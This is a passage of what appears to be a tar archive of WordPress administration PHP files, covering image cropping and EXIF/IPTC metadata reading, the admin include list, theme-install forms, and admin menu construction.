 * @param int $src_x The start x position to crop from.
 * @param int $src_y The start y position to crop from.
 * @param int $src_w The width to crop.
 * @param int $src_h The height to crop.
 * @param int $dst_w The destination width.
 * @param int $dst_h The destination height.
 * @param int $src_abs Optional. If the source crop points are absolute.
 * @param string $dst_file Optional. The destination file to write to.
 * @return string|WP_Error New filepath on success, WP_Error on failure.
 */
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
	$src_file = $src;
	if ( is_numeric( $src ) ) { // Handle int as attachment ID
		$src_file = get_attached_file( $src );

if ( ! file_exists( $src_file ) ) {
			// If the file doesn't exist, attempt a url fopen on the src link.
			// This can occur with certain file replication plugins.
			$src = _load_image_to_edit_path( $src, 'full' );
		} else {
			$src = $src_file;
		}
	}

$editor = wp_get_image_editor( $src );
	if ( is_wp_error( $editor ) )
		return $editor;

$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
	if ( is_wp_error( $src ) )
		return $src;

if ( ! $dst_file )
		$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );

// The directory containing the original file may no longer exist when
	// using a replication plugin.
	wp_mkdir_p( dirname( $dst_file ) );

$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );

$result = $editor->save( $dst_file );
	if ( is_wp_error( $result ) )
		return $result;

return $dst_file;
}

/**
 * Generate post thumbnail attachment meta data.
 *
 * @since 2.1.0
 *
 * @param int $attachment_id Attachment Id to process.
 * @param string $file Filepath of the Attached image.
 * @return mixed Metadata for attachment.
 */
function wp_generate_attachment_metadata( $attachment_id, $file ) {
	$attachment = get_post( $attachment_id );

$metadata = array();
	$support = false;
	if ( preg_match('!^image/!', get_post_mime_type( $attachment )) && file_is_displayable_image($file) ) {
		$imagesize = getimagesize( $file );
		$metadata['width'] = $imagesize[0];
		$metadata['height'] = $imagesize[1];

// Make the file path relative to the upload dir
		$metadata['file'] = _wp_relative_upload_path($file);

// make thumbnails and other intermediate sizes
		global $_wp_additional_image_sizes;

$sizes = array();
		foreach ( get_intermediate_image_sizes() as $s ) {
			$sizes[$s] = array( 'width' => '', 'height' => '', 'crop' => false );
			if ( isset( $_wp_additional_image_sizes[$s]['width'] ) )
				$sizes[$s]['width'] = intval( $_wp_additional_image_sizes[$s]['width'] ); // For theme-added sizes
			else
				$sizes[$s]['width'] = get_option( "{$s}_size_w" ); // For default sizes set in options
			if ( isset( $_wp_additional_image_sizes[$s]['height'] ) )
				$sizes[$s]['height'] = intval( $_wp_additional_image_sizes[$s]['height'] ); // For theme-added sizes
			else
				$sizes[$s]['height'] = get_option( "{$s}_size_h" ); // For default sizes set in options
			if ( isset( $_wp_additional_image_sizes[$s]['crop'] ) )
				$sizes[$s]['crop'] = $_wp_additional_image_sizes[$s]['crop']; // For theme-added sizes
			else
				$sizes[$s]['crop'] = get_option( "{$s}_crop" ); // For default sizes set in options
		}

/**
		 * Filter the image sizes automatically generated when uploading an image.
		 *
		 * @since 2.9.0
		 *
		 * @param array $sizes An associative array of image sizes.
		 */
		$sizes = apply_filters( 'intermediate_image_sizes_advanced', $sizes );

if ( $sizes ) {
			$editor = wp_get_image_editor( $file );

if ( ! is_wp_error( $editor ) )
				$metadata['sizes'] = $editor->multi_resize( $sizes );
		} else {
			$metadata['sizes'] = array();
		}

// fetch additional metadata from exif/iptc
		$image_meta = wp_read_image_metadata( $file );
		if ( $image_meta )
			$metadata['image_meta'] = $image_meta;

} elseif ( preg_match( '#^video/#', get_post_mime_type( $attachment ) ) ) {
		$metadata = wp_read_video_metadata( $file );
		$support = current_theme_supports( 'post-thumbnails', 'attachment:video' ) || post_type_supports( 'attachment:video', 'thumbnail' );
	} elseif ( preg_match( '#^audio/#', get_post_mime_type( $attachment ) ) ) {
		$metadata = wp_read_audio_metadata( $file );
		$support = current_theme_supports( 'post-thumbnails', 'attachment:audio' ) || post_type_supports( 'attachment:audio', 'thumbnail' );
	}

if ( $support && ! empty( $metadata['image']['data'] ) ) {
		// check for existing cover
		$hash = md5( $metadata['image']['data'] );
		$posts = get_posts( array(
			'fields' => 'ids',
			'post_type' => 'attachment',
			'post_mime_type' => $metadata['image']['mime'],
			'post_status' => 'inherit',
			'posts_per_page' => 1,
			'meta_key' => '_cover_hash',
			'meta_value' => $hash
		) );
		$exists = reset( $posts );

if ( ! empty( $exists ) ) {
			update_post_meta( $attachment_id, '_thumbnail_id', $exists );
		} else {
			$ext = '.jpg';
			switch ( $metadata['image']['mime'] ) {
			case 'image/gif':
				$ext = '.gif';
				break;
			case 'image/png':
				$ext = '.png';
				break;
			}
			$basename = str_replace( '.', '-', basename( $file ) ) . '-image' . $ext;
			$uploaded = wp_upload_bits( $basename, '', $metadata['image']['data'] );
			if ( false === $uploaded['error'] ) {
				$image_attachment = array(
					'post_mime_type' => $metadata['image']['mime'],
					'post_type' => 'attachment',
					'post_content' => '',
				);
				/**
				 * Filter the parameters for the attachment thumbnail creation.
				 *
				 * @since 3.9.0
				 *
				 * @param array $image_attachment An array of parameters to create the thumbnail.
				 * @param array $metadata         Current attachment metadata.
				 * @param array $uploaded         An array containing the thumbnail path and url.
				 */
				$image_attachment = apply_filters( 'attachment_thumbnail_args', $image_attachment, $metadata, $uploaded );

$sub_attachment_id = wp_insert_attachment( $image_attachment, $uploaded['file'] );
				add_post_meta( $sub_attachment_id, '_cover_hash', $hash );
				$attach_data = wp_generate_attachment_metadata( $sub_attachment_id, $uploaded['file'] );
				wp_update_attachment_metadata( $sub_attachment_id, $attach_data );
				update_post_meta( $attachment_id, '_thumbnail_id', $sub_attachment_id );
			}
		}
	}

// remove the blob of binary data from the array
	if ( isset( $metadata['image']['data'] ) )
		unset( $metadata['image']['data'] );

/**
	 * Filter the generated attachment meta data.
	 *
	 * @since 2.1.0
	 *
	 * @param array $metadata      An array of attachment meta data.
	 * @param int   $attachment_id Current attachment ID.
	 */
	return apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id );
}

/**
 * Convert a fraction string to a decimal.
 *
 * @since 2.5.0
 *
 * @param string $str
 * @return int|float
 */
function wp_exif_frac2dec($str) {
	@list( $n, $d ) = explode( '/', $str );
	if ( !empty($d) )
		return $n / $d;
	return $str;
}

/**
 * Convert the exif date format to a unix timestamp.
 *
 * @since 2.5.0
 *
 * @param string $str
 * @return int
 */
function wp_exif_date2ts($str) {
	@list( $date, $time ) = explode( ' ', trim($str) );
	@list( $y, $m, $d ) = explode( ':', $date );

return strtotime( "{$y}-{$m}-{$d} {$time}" );
}

/**
 * Get extended image metadata, exif or iptc as available.
 *
 * Retrieves the EXIF metadata aperture, credit, camera, caption, copyright, iso
 * created_timestamp, focal_length, shutter_speed, and title.
 *
 * The IPTC metadata that is retrieved is APP13, credit, byline, created date
 * and time, caption, copyright, and title. Also includes FNumber, Model,
 * DateTimeDigitized, FocalLength, ISOSpeedRatings, and ExposureTime.
 *
 * @todo Try other exif libraries if available.
 * @since 2.5.0
 *
 * @param string $file
 * @return bool|array False on failure. Image metadata array on success.
 */
function wp_read_image_metadata( $file ) {
	if ( ! file_exists( $file ) )
		return false;

list( , , $sourceImageType ) = getimagesize( $file );

// exif contains a bunch of data we'll probably never need formatted in ways
	// that are difficult to use. We'll normalize it and just extract the fields
	// that are likely to be useful. Fractions and numbers are converted to
	// floats, dates to unix timestamps, and everything else to strings.
	$meta = array(
		'aperture' => 0,
		'credit' => '',
		'camera' => '',
		'caption' => '',
		'created_timestamp' => 0,
		'copyright' => '',
		'focal_length' => 0,
		'iso' => 0,
		'shutter_speed' => 0,
		'title' => '',
	);

// read iptc first, since it might contain data not available in exif such
	// as caption, description etc
	if ( is_callable( 'iptcparse' ) ) {
		getimagesize( $file, $info );

if ( ! empty( $info['APP13'] ) ) {
			$iptc = iptcparse( $info['APP13'] );

// headline, "A brief synopsis of the caption."
			if ( ! empty( $iptc['2#105'][0] ) )
				$meta['title'] = trim( $iptc['2#105'][0] );
			// title, "Many use the Title field to store the filename of the image, though the field may be used in many ways."
			elseif ( ! empty( $iptc['2#005'][0] ) )
				$meta['title'] = trim( $iptc['2#005'][0] );

if ( ! empty( $iptc['2#120'][0] ) ) { // description / legacy caption
				$caption = trim( $iptc['2#120'][0] );
				if ( empty( $meta['title'] ) ) {
					// Assume the title is stored in 2:120 if it's short.
					if ( strlen( $caption ) < 80 )
						$meta['title'] = $caption;
					else
						$meta['caption'] = $caption;
				} elseif ( $caption != $meta['title'] ) {
					$meta['caption'] = $caption;
				}
			}

if ( ! empty( $iptc['2#110'][0] ) ) // credit
				$meta['credit'] = trim( $iptc['2#110'][0] );
			elseif ( ! empty( $iptc['2#080'][0] ) ) // creator / legacy byline
				$meta['credit'] = trim( $iptc['2#080'][0] );

if ( ! empty( $iptc['2#055'][0] ) and ! empty( $iptc['2#060'][0] ) ) // created date and time
				$meta['created_timestamp'] = strtotime( $iptc['2#055'][0] . ' ' . $iptc['2#060'][0] );

if ( ! empty( $iptc['2#116'][0] ) ) // copyright
				$meta['copyright'] = trim( $iptc['2#116'][0] );
		 }
	}

/**
	 * Filter the image types to check for exif data.
	 *
	 * @since 2.5.0
	 *
	 * @param array $image_types Image types to check for exif data.
	 */
	if ( is_callable( 'exif_read_data' ) && in_array( $sourceImageType, apply_filters( 'wp_read_image_metadata_types', array( IMAGETYPE_JPEG, IMAGETYPE_TIFF_II, IMAGETYPE_TIFF_MM ) ) ) ) {
		$exif = @exif_read_data( $file );

if ( !empty( $exif['Title'] ) )
			$meta['title'] = trim( $exif['Title'] );

if ( ! empty( $exif['ImageDescription'] ) ) {
			if ( empty( $meta['title'] ) && strlen( $exif['ImageDescription'] ) < 80 ) {
				// Assume the title is stored in ImageDescription
				$meta['title'] = trim( $exif['ImageDescription'] );
				if ( ! empty( $exif['COMPUTED']['UserComment'] ) && trim( $exif['COMPUTED']['UserComment'] ) != $meta['title'] )
					$meta['caption'] = trim( $exif['COMPUTED']['UserComment'] );
			} elseif ( trim( $exif['ImageDescription'] ) != $meta['title'] ) {
				$meta['caption'] = trim( $exif['ImageDescription'] );
			}
		} elseif ( ! empty( $exif['Comments'] ) && trim( $exif['Comments'] ) != $meta['title'] ) {
			$meta['caption'] = trim( $exif['Comments'] );
		}

if ( ! empty( $exif['Artist'] ) )
			$meta['credit'] = trim( $exif['Artist'] );
		elseif ( ! empty($exif['Author'] ) )
			$meta['credit'] = trim( $exif['Author'] );

if ( ! empty( $exif['Copyright'] ) )
			$meta['copyright'] = trim( $exif['Copyright'] );
		if ( ! empty($exif['FNumber'] ) )
			$meta['aperture'] = round( wp_exif_frac2dec( $exif['FNumber'] ), 2 );
		if ( ! empty($exif['Model'] ) )
			$meta['camera'] = trim( $exif['Model'] );
		if ( ! empty($exif['DateTimeDigitized'] ) )
			$meta['created_timestamp'] = wp_exif_date2ts($exif['DateTimeDigitized'] );
		if ( ! empty($exif['FocalLength'] ) )
			$meta['focal_length'] = (string) wp_exif_frac2dec( $exif['FocalLength'] );
		if ( ! empty($exif['ISOSpeedRatings'] ) ) {
			$meta['iso'] = is_array( $exif['ISOSpeedRatings'] ) ? reset( $exif['ISOSpeedRatings'] ) : $exif['ISOSpeedRatings'];
			$meta['iso'] = trim( $meta['iso'] );
		}
		if ( ! empty($exif['ExposureTime'] ) )
			$meta['shutter_speed'] = (string) wp_exif_frac2dec( $exif['ExposureTime'] );
	}

foreach ( array( 'title', 'caption', 'credit', 'copyright', 'camera', 'iso' ) as $key ) {
		if ( $meta[ $key ] && ! seems_utf8( $meta[ $key ] ) )
			$meta[ $key ] = utf8_encode( $meta[ $key ] );
	}

foreach ( $meta as &$value ) {
		if ( is_string( $value ) ) {
			$value = wp_kses_post( $value );
		}
	}

/**
	 * Filter the array of meta data read from an image's exif data.
	 *
	 * @since 2.5.0
	 *
	 * @param array  $meta            Image meta data.
	 * @param string $file            Path to image file.
	 * @param int    $sourceImageType Type of image.
	 */
	return apply_filters( 'wp_read_image_metadata', $meta, $file, $sourceImageType );

}

/**
 * Validate that file is an image.
 *
 * @since 2.5.0
 *
 * @param string $path File path to test if valid image.
 * @return bool True if valid image, false if not valid image.
 */
function file_is_valid_image($path) {
	$size = @getimagesize($path);
	return !empty($size);
}

/**
 * Validate that file is suitable for displaying within a web page.
 *
 * @since 2.5.0
 *
 * @param string $path File path to test.
 * @return bool True if suitable, false if not suitable.
 */
function file_is_displayable_image($path) {
	$info = @getimagesize($path);
	if ( empty($info) )
		$result = false;
	elseif ( !in_array($info[2], array(IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG)) )	// only gif, jpeg and png images can reliably be displayed
		$result = false;
	else
		$result = true;

/**
	 * Filter whether the current image is displayable in the browser.
	 *
	 * @since 2.5.0
	 *
	 * @param bool   $result Whether the image can be displayed. Default true.
	 * @param string $path   Path to the image.
	 */
	return apply_filters( 'file_is_displayable_image', $result, $path );
}

/**
 * Load an image resource for editing.
 *
 * @since 2.9.0
 *
 * @param string $attachment_id Attachment ID.
 * @param string $mime_type Image mime type.
 * @param string $size Optional. Image size, defaults to 'full'.
 * @return resource|false The resulting image resource on success, false on failure.
 */
function load_image_to_edit( $attachment_id, $mime_type, $size = 'full' ) {
	$filepath = _load_image_to_edit_path( $attachment_id, $size );
	if ( empty( $filepath ) )
		return false;

switch ( $mime_type ) {
		case 'image/jpeg':
			$image = imagecreatefromjpeg($filepath);
			break;
		case 'image/png':
			$image = imagecreatefrompng($filepath);
			break;
		case 'image/gif':
			$image = imagecreatefromgif($filepath);
			break;
		default:
			$image = false;
			break;
	}
	if ( is_resource($image) ) {
		/**
		 * Filter the current image being loaded for editing.
		 *
		 * @since 2.9.0
		 *
		 * @param resource $image         Current image.
		 * @param string   $attachment_id Attachment ID.
		 * @param string   $size          Image size.
		 */
		$image = apply_filters( 'load_image_to_edit', $image, $attachment_id, $size );
		if ( function_exists('imagealphablending') && function_exists('imagesavealpha') ) {
			imagealphablending($image, false);
			imagesavealpha($image, true);
		}
	}
	return $image;
}

/**
 * Retrieve the path or url of an attachment's attached file.
 *
 * If the attached file is not present on the local filesystem (usually due to replication plugins),
 * then the url of the file is returned if url fopen is supported.
 *
 * @since 3.4.0
 * @access private
 *
 * @param string $attachment_id Attachment ID.
 * @param string $size Optional. Image size, defaults to 'full'.
 * @return string|false File path or url on success, false on failure.
 */
function _load_image_to_edit_path( $attachment_id, $size = 'full' ) {
	$filepath = get_attached_file( $attachment_id );

if ( $filepath && file_exists( $filepath ) ) {
		if ( 'full' != $size && ( $data = image_get_intermediate_size( $attachment_id, $size ) ) ) {
			/**
			 * Filter the path to the current image.
			 *
			 * The filter is evaluated for all image sizes except 'full'.
			 *
			 * @since 3.1.0
			 *
			 * @param string $path          Path to the current image.
			 * @param string $attachment_id Attachment ID.
			 * @param string $size          Size of the image.
			 */
			$filepath = apply_filters( 'load_image_to_edit_filesystempath', path_join( dirname( $filepath ), $data['file'] ), $attachment_id, $size );
		}
	} elseif ( function_exists( 'fopen' ) && function_exists( 'ini_get' ) && true == ini_get( 'allow_url_fopen' ) ) {
		/**
		 * Filter the image URL if not in the local filesystem.
		 *
		 * The filter is only evaluated if fopen is enabled on the server.
		 *
		 * @since 3.1.0
		 *
		 * @param string $image_url     Current image URL.
		 * @param string $attachment_id Attachment ID.
		 * @param string $size          Size of the image.
		 */
		$filepath = apply_filters( 'load_image_to_edit_attachmenturl', wp_get_attachment_url( $attachment_id ), $attachment_id, $size );
	}

/**
	 * Filter the returned path or URL of the current image.
	 *
	 * @since 2.9.0
	 *
	 * @param string|bool $filepath      File path or URL to current image, or false.
	 * @param string      $attachment_id Attachment ID.
	 * @param string      $size          Size of the image.
	 */
	return apply_filters( 'load_image_to_edit_path', $filepath, $attachment_id, $size );
}

/**
 * Copy an existing image file.
 *
 * @since 3.4.0
 * @access private
 *
 * @param string $attachment_id Attachment ID.
 * @return string|false New file path on success, false on failure.
 */
function _copy_image_file( $attachment_id ) {
	$dst_file = $src_file = get_attached_file( $attachment_id );
	if ( ! file_exists( $src_file ) )
		$src_file = _load_image_to_edit_path( $attachment_id );

if ( $src_file ) {
		$dst_file = str_replace( basename( $dst_file ), 'copy-' . basename( $dst_file ), $dst_file );
		$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );

// The directory containing the original file may no longer exist when
		// using a replication plugin.
		wp_mkdir_p( dirname( $dst_file ) );

if ( ! @copy( $src_file, $dst_file ) )
			$dst_file = false;
	} else {
		$dst_file = false;
	}

return $dst_file;
}
admin.php000077700000004613151514577750006401 0ustar00<?php
/**
 * Includes all of the WordPress Administration API files.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! defined('WP_ADMIN') ) {
	// This file is being included from a file other than wp-admin/admin.php, so
	// some setup was skipped. Make sure the admin message catalog is loaded since
	// load_default_textdomain() will not have done so in this context.
	load_textdomain( 'default', WP_LANG_DIR . '/admin-' . get_locale() . '.mo' );
}

/** WordPress Bookmark Administration API */
require_once(ABSPATH . 'wp-admin/includes/bookmark.php');

/** WordPress Comment Administration API */
require_once(ABSPATH . 'wp-admin/includes/comment.php');

/** WordPress Administration File API */
require_once(ABSPATH . 'wp-admin/includes/file.php');

/** WordPress Image Administration API */
require_once(ABSPATH . 'wp-admin/includes/image.php');

/** WordPress Media Administration API */
require_once(ABSPATH . 'wp-admin/includes/media.php');

/** WordPress Import Administration API */
require_once(ABSPATH . 'wp-admin/includes/import.php');

/** WordPress Misc Administration API */
require_once(ABSPATH . 'wp-admin/includes/misc.php');

/** WordPress Plugin Administration API */
require_once(ABSPATH . 'wp-admin/includes/plugin.php');

/** WordPress Post Administration API */
require_once(ABSPATH . 'wp-admin/includes/post.php');

/** WordPress Administration Screen API */
require_once(ABSPATH . 'wp-admin/includes/screen.php');

/** WordPress Taxonomy Administration API */
require_once(ABSPATH . 'wp-admin/includes/taxonomy.php');

/** WordPress Template Administration API */
require_once(ABSPATH . 'wp-admin/includes/template.php');

/** WordPress List Table Administration API and base class */
require_once(ABSPATH . 'wp-admin/includes/class-wp-list-table.php');
require_once(ABSPATH . 'wp-admin/includes/list-table.php');

/** WordPress Theme Administration API */
require_once(ABSPATH . 'wp-admin/includes/theme.php');

/** WordPress User Administration API */
require_once(ABSPATH . 'wp-admin/includes/user.php');

/** WordPress Update Administration API */
require_once(ABSPATH . 'wp-admin/includes/update.php');

/** WordPress Deprecated Administration API */
require_once(ABSPATH . 'wp-admin/includes/deprecated.php');

/** WordPress Multisite support API */
if ( is_multisite() ) {
	require_once(ABSPATH . 'wp-admin/includes/ms.php');
	require_once(ABSPATH . 'wp-admin/includes/ms-deprecated.php');
}
theme-install.php000077700000014405151514577750010057 0ustar00<?php
/**
 * WordPress Theme Install Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

$themes_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array()),
	'abbr' => array('title' => array()), 'acronym' => array('title' => array()),
	'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(),
	'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(),
	'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(),
	'img' => array('src' => array(), 'class' => array(), 'alt' => array())
);

$theme_field_defaults = array( 'description' => true, 'sections' => false, 'tested' => true, 'requires' => true,
	'rating' => true, 'downloaded' => true, 'downloadlink' => true, 'last_updated' => true, 'homepage' => true,
	'tags' => true, 'num_ratings' => true
);

/**
 * Retrieve list of WordPress theme features (aka theme tags)
 *
 * @since 2.8.0
 *
 * @deprecated since 3.1.0 Use get_theme_feature_list() instead.
 *
 * @return array
 */
function install_themes_feature_list() {
	_deprecated_function( __FUNCTION__, '3.1', 'get_theme_feature_list()' );

if ( !$cache = get_transient( 'wporg_theme_feature_list' ) )
		set_transient( 'wporg_theme_feature_list', array(), 3 * HOUR_IN_SECONDS );

if ( $cache )
		return $cache;

$feature_list = themes_api( 'feature_list', array() );
	if ( is_wp_error( $feature_list ) )
		return array();

set_transient( 'wporg_theme_feature_list', $feature_list, 3 * HOUR_IN_SECONDS );

return $feature_list;
}

/**
 * Display search form for searching themes.
 *
 * @since 2.8.0
 */
function install_theme_search_form( $type_selector = true ) {
	$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
	$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';
	if ( ! $type_selector )
		echo '<p class="install-help">' . __( 'Search for themes by keyword.' ) . '</p>';
	?>
<form id="search-themes" method="get" action="">
	<input type="hidden" name="tab" value="search" />
	<?php if ( $type_selector ) : ?>
	<label class="screen-reader-text" for="typeselector"><?php _e('Type of search'); ?></label>
	<select	name="type" id="typeselector">
	<option value="term" <?php selected('term', $type) ?>><?php _e('Keyword'); ?></option>
	<option value="author" <?php selected('author', $type) ?>><?php _e('Author'); ?></option>
	<option value="tag" <?php selected('tag', $type) ?>><?php _ex('Tag', 'Theme Installer'); ?></option>
	</select>
	<label class="screen-reader-text" for="s"><?php
	switch ( $type ) {
		case 'term':
			_e( 'Search by keyword' );
			break;
		case 'author':
			_e( 'Search by author' );
			break;
		case 'tag':
			_e( 'Search by tag' );
			break;
	}
	?></label>
	<?php else : ?>
	<label class="screen-reader-text" for="s"><?php _e('Search by keyword'); ?></label>
	<?php endif; ?>
	<input type="search" name="s" id="s" size="30" value="<?php echo esc_attr($term) ?>" autofocus="autofocus" />
	<?php submit_button( __( 'Search' ), 'button', 'search', false ); ?>
</form>
<?php
}

/**
 * Display tags filter for themes.
 *
 * @since 2.8.0
 */
function install_themes_dashboard() {
	install_theme_search_form( false );
?>
<h4><?php _e('Feature Filter') ?></h4>
<p class="install-help"><?php _e( 'Find a theme based on specific features.' ); ?></p>

<form method="get" action="">
	<input type="hidden" name="tab" value="search" />
	<?php
	$feature_list = get_theme_feature_list();
	echo '<div class="feature-filter">';

foreach ( (array) $feature_list as $feature_name => $features ) {
		$feature_name = esc_html( $feature_name );
		echo '<div class="feature-name">' . $feature_name . '</div>';

echo '<ol class="feature-group">';
		foreach ( $features as $feature => $feature_name ) {
			$feature_name = esc_html( $feature_name );
			$feature = esc_attr($feature);
?>

<li>
	<input type="checkbox" name="features[]" id="feature-id-<?php echo $feature; ?>" value="<?php echo $feature; ?>" />
	<label for="feature-id-<?php echo $feature; ?>"><?php echo $feature_name; ?></label>
</li>

<?php	} ?>
</ol>
<br class="clear" />
<?php
	} ?>

</div>
<br class="clear" />
<?php submit_button( __( 'Find Themes' ), 'button', 'search' ); ?>
</form>
<?php
}
// add_action('install_themes_dashboard', 'install_themes_dashboard');

function install_themes_upload() {
?>
<p class="install-help"><?php _e('If you have a theme in a .zip format, you may install it by uploading it here.'); ?></p>
<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php echo self_admin_url('update.php?action=upload-theme'); ?>">
	<?php wp_nonce_field( 'theme-upload'); ?>
	<input type="file" name="themezip" />
	<?php submit_button( __( 'Install Now' ), 'button', 'install-theme-submit', false ); ?>
</form>
	<?php
}
// add_action('install_themes_upload', 'install_themes_upload', 10, 0);

/**
 * Prints a theme on the Install Themes pages.
 *
 * @deprecated 3.4.0
 */
function display_theme( $theme ) {
	_deprecated_function( __FUNCTION__, '3.4' );
	global $wp_list_table;
	if ( ! isset( $wp_list_table ) ) {
		$wp_list_table = _get_list_table('WP_Theme_Install_List_Table');
	}
	$wp_list_table->prepare_items();
	$wp_list_table->single_row( $theme );
}

/**
 * Display theme content based on theme list.
 *
 * @since 2.8.0
 */
function display_themes() {
	global $wp_list_table;

if ( ! isset( $wp_list_table ) ) {
		$wp_list_table = _get_list_table('WP_Theme_Install_List_Table');
	}
	$wp_list_table->prepare_items();
	$wp_list_table->display();

}
// add_action('install_themes_search', 'display_themes');
// add_action('install_themes_featured', 'display_themes');
// add_action('install_themes_new', 'display_themes');
// add_action('install_themes_updated', 'display_themes');

/**
 * Display theme information in dialog box form.
 *
 * @since 2.8.0
 */
function install_theme_information() {
	global $wp_list_table;

$theme = themes_api( 'theme_information', array( 'slug' => wp_unslash( $_REQUEST['theme'] ) ) );

if ( is_wp_error( $theme ) )
		wp_die( $theme );

iframe_header( __('Theme Install') );
	if ( ! isset( $wp_list_table ) ) {
		$wp_list_table = _get_list_table('WP_Theme_Install_List_Table');
	}
	$wp_list_table->theme_installer_single( $theme );
	iframe_footer();
	exit;
}
add_action('install_themes_pre_theme-information', 'install_theme_information');
menu.php000077700000020157151514577750006256 0ustar00<?php
/**
 * Build Administration Menu.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( is_network_admin() ) {

/**
	 * Fires before the administration menu loads in the Network Admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @private
	 * @since 3.1.0
	 */
	do_action( '_network_admin_menu' );
} elseif ( is_user_admin() ) {

/**
	 * Fires before the administration menu loads in the User Admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @private
	 * @since 3.1.0
	 */
	do_action( '_user_admin_menu' );
} else {

/**
	 * Fires before the administration menu loads in the admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @private
	 * @since 2.2.0
	 */
	do_action( '_admin_menu' );
}

// Create list of page plugin hook names.
foreach ($menu as $menu_page) {
	if ( false !== $pos = strpos($menu_page[2], '?') ) {
		// Handle post_type=post|page|foo pages.
		$hook_name = substr($menu_page[2], 0, $pos);
		$hook_args = substr($menu_page[2], $pos + 1);
		wp_parse_str($hook_args, $hook_args);
		// Set the hook name to be the post type.
		if ( isset($hook_args['post_type']) )
			$hook_name = $hook_args['post_type'];
		else
			$hook_name = basename($hook_name, '.php');
		unset($hook_args);
	} else {
		$hook_name = basename($menu_page[2], '.php');
	}
	$hook_name = sanitize_title($hook_name);

if ( isset($compat[$hook_name]) )
		$hook_name = $compat[$hook_name];
	elseif ( !$hook_name )
		continue;

$admin_page_hooks[$menu_page[2]] = $hook_name;
}
unset($menu_page, $compat);

$_wp_submenu_nopriv = array();
$_wp_menu_nopriv = array();
// Loop over submenus and remove pages for which the user does not have privs.
foreach ( array( 'submenu' ) as $sub_loop ) {
	foreach ($$sub_loop as $parent => $sub) {
		foreach ($sub as $index => $data) {
			if ( ! current_user_can($data[1]) ) {
				unset(${$sub_loop}[$parent][$index]);
				$_wp_submenu_nopriv[$parent][$data[2]] = true;
			}
		}
		unset($index, $data);

if ( empty(${$sub_loop}[$parent]) )
			unset(${$sub_loop}[$parent]);
	}
	unset($sub, $parent);
}
unset($sub_loop);

/*
 * Loop over the top-level menu.
 * Menus for which the original parent is not accessible due to lack of privileges
 * will have the next submenu in line be assigned as the new menu parent.
 */
foreach ( $menu as $id => $data ) {
	if ( empty($submenu[$data[2]]) )
		continue;
	$subs = $submenu[$data[2]];
	$first_sub = array_shift($subs);
	$old_parent = $data[2];
	$new_parent = $first_sub[2];
	// If the first submenu is not the same as the assigned parent,
	// make the first submenu the new parent.
	if ( $new_parent != $old_parent ) {
		$_wp_real_parent_file[$old_parent] = $new_parent;
		$menu[$id][2] = $new_parent;

foreach ($submenu[$old_parent] as $index => $data) {
			$submenu[$new_parent][$index] = $submenu[$old_parent][$index];
			unset($submenu[$old_parent][$index]);
		}
		unset($submenu[$old_parent], $index);

if ( isset($_wp_submenu_nopriv[$old_parent]) )
			$_wp_submenu_nopriv[$new_parent] = $_wp_submenu_nopriv[$old_parent];
	}
}
unset($id, $data, $subs, $first_sub, $old_parent, $new_parent);

if ( is_network_admin() ) {

/**
	 * Fires before the administration menu loads in the Network Admin.
	 *
	 * @since 3.1.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'network_admin_menu', '' );
} elseif ( is_user_admin() ) {

/**
	 * Fires before the administration menu loads in the User Admin.
	 *
	 * @since 3.1.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'user_admin_menu', '' );
} else {

/**
	 * Fires before the administration menu loads in the admin.
	 *
	 * @since 1.5.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'admin_menu', '' );
}

/*
 * Remove menus that have no accessible submenus and require privileges
 * that the user does not have. Run re-parent loop again.
 */
foreach ( $menu as $id => $data ) {
	if ( ! current_user_can($data[1]) )
		$_wp_menu_nopriv[$data[2]] = true;

/*
	 * If there is only one submenu and it is has same destination as the parent,
	 * remove the submenu.
	 */
	if ( ! empty( $submenu[$data[2]] ) && 1 == count ( $submenu[$data[2]] ) ) {
		$subs = $submenu[$data[2]];
		$first_sub = array_shift($subs);
		if ( $data[2] == $first_sub[2] )
			unset( $submenu[$data[2]] );
	}

// If submenu is empty...
	if ( empty($submenu[$data[2]]) ) {
		// And user doesn't have privs, remove menu.
		if ( isset( $_wp_menu_nopriv[$data[2]] ) ) {
			unset($menu[$id]);
		}
	}
}
unset($id, $data, $subs, $first_sub);

// Remove any duplicated separators
$separator_found = false;
foreach ( $menu as $id => $data ) {
	if ( 0 == strcmp('wp-menu-separator', $data[4] ) ) {
		if (false == $separator_found) {
			$separator_found = true;
		} else {
			unset($menu[$id]);
			$separator_found = false;
		}
	} else {
		$separator_found = false;
	}
}
unset($id, $data);

function add_cssclass($add, $class) {
	$class = empty($class) ? $add : $class .= ' ' . $add;
	return $class;
}

function add_menu_classes($menu) {

$first = $lastorder = false;
	$i = 0;
	$mc = count($menu);
	foreach ( $menu as $order => $top ) {
		$i++;

if ( 0 == $order ) { // dashboard is always shown/single
			$menu[0][4] = add_cssclass('menu-top-first', $top[4]);
			$lastorder = 0;
			continue;
		}

if ( 0 === strpos($top[2], 'separator') && false !== $lastorder ) { // if separator
			$first = true;
			$c = $menu[$lastorder][4];
